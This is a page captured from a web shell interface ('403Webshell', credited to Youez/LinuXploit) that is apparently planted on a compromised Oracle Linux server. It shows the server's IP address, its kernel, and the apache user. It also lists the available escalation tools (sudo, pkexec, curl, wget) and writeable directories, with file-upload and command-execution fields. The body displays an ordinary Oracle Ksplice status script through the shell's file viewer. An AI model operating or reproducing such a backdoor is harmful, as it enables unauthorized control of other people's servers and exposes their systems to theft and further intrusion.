403Webshell
Server IP : 152.69.216.235  /  Your IP : 80.80.80.28
Web Server : Apache/2.4.37 (Oracle Linux Server)
System : Linux ust-wp4-prod 5.15.0-310.184.5.2.el8uek.x86_64 #2 SMP Wed Jul 9 16:08:33 PDT 2025 x86_64
User : apache ( 48)
PHP Version : 8.4.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/uptrack/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/uptrack/ksplice-em-status
#!/usr/libexec/platform-python

# Copyright (C) 2017 Oracle and/or its affiliates. All rights reserved.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License, version 2.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA
# 02110-1301, USA.

from __future__ import print_function
import argparse
import subprocess
import yaml
import os
import sys

sysname, nodename, release, version, machine = os.uname()
uptrack_em_path = '/var/run/ksplice-em'
uptrack_status = os.path.join(uptrack_em_path, 'kernel_status')
uptrack_upgrade_plan = os.path.join(uptrack_em_path, 'kernel_upgrade_plan')


def read_cache():
    try:
        with open(uptrack_status) as status_file:
            status = yaml.safe_load(status_file.read())
        with open(uptrack_upgrade_plan) as upgrade_plan_file:
            upgrade_plan = yaml.safe_load(upgrade_plan_file.read())
    except Exception:
        print("Failed to read status, please rerun \"uptrack-upgrade -n\" to rebuild the cache", file=sys.stderr)
        sys.exit(2)

    return status, upgrade_plan


def get_installed(status, upgrade_plan):
    try:
        for u in status['Updates']['Installed']:
            print('[{kid}] {desc}'.format(kid=u['ID'], desc=u['Name']))
    except KeyError:
        pass


def get_uninstalled(status, upgrade_plan):
    plan = upgrade_plan['Plan']
    for command in plan:
        if command['Command'] != 'Install':
            continue
        print('[{kid}] {desc}'.format(kid=command['ID'], desc=command['Name']))


def get_installed_count(status, upgrade_plan):
    try:
        print(len(status['Updates']['Installed']))
    except KeyError:
        pass


def userspace_patched(status, upgrade_plan):
    try:
        with open('/var/run/ksplice-em/userspace_up_to_date') as status_file:
            if status_file.read().strip() == '1':
                print('Up-to-date')
            else:
                raise Exception('Not fully patched')
    except OSError:
        print('Failed to read status, please rerun \"ksplice -n user upgrade\" to rebuild the cache', file=sys.stderr)
        sys.exit(2)
    except Exception:
        print('Not fully patched')
        sys.exit(1)


def userspace_packages(status, upgrade_plan):
    subprocess.call(['rpm -qa | grep "\.ksplice"'], shell=True)


parser = argparse.ArgumentParser('ksplice-em-status')
subparsers = parser.add_subparsers()

installed_parser = subparsers.add_parser('installed')
installed_parser.set_defaults(func=get_installed)

uninstalled_parser = subparsers.add_parser('uninstalled')
uninstalled_parser.set_defaults(func=get_uninstalled)

installed_count_parser = subparsers.add_parser('installed-count')
installed_count_parser.set_defaults(func=get_installed_count)

userspace_parser = subparsers.add_parser('userspace-patched')
userspace_parser.set_defaults(func=userspace_patched)

userspace_packages_parser = subparsers.add_parser('userspace-packages')
userspace_packages_parser.set_defaults(func=userspace_packages)

args = parser.parse_args()
if 'func' in args:
    args.func(*read_cache())
else:
    parser.print_help()
    sys.exit(1)

Youez - 2016 - github.com/yon3zu
LinuXploit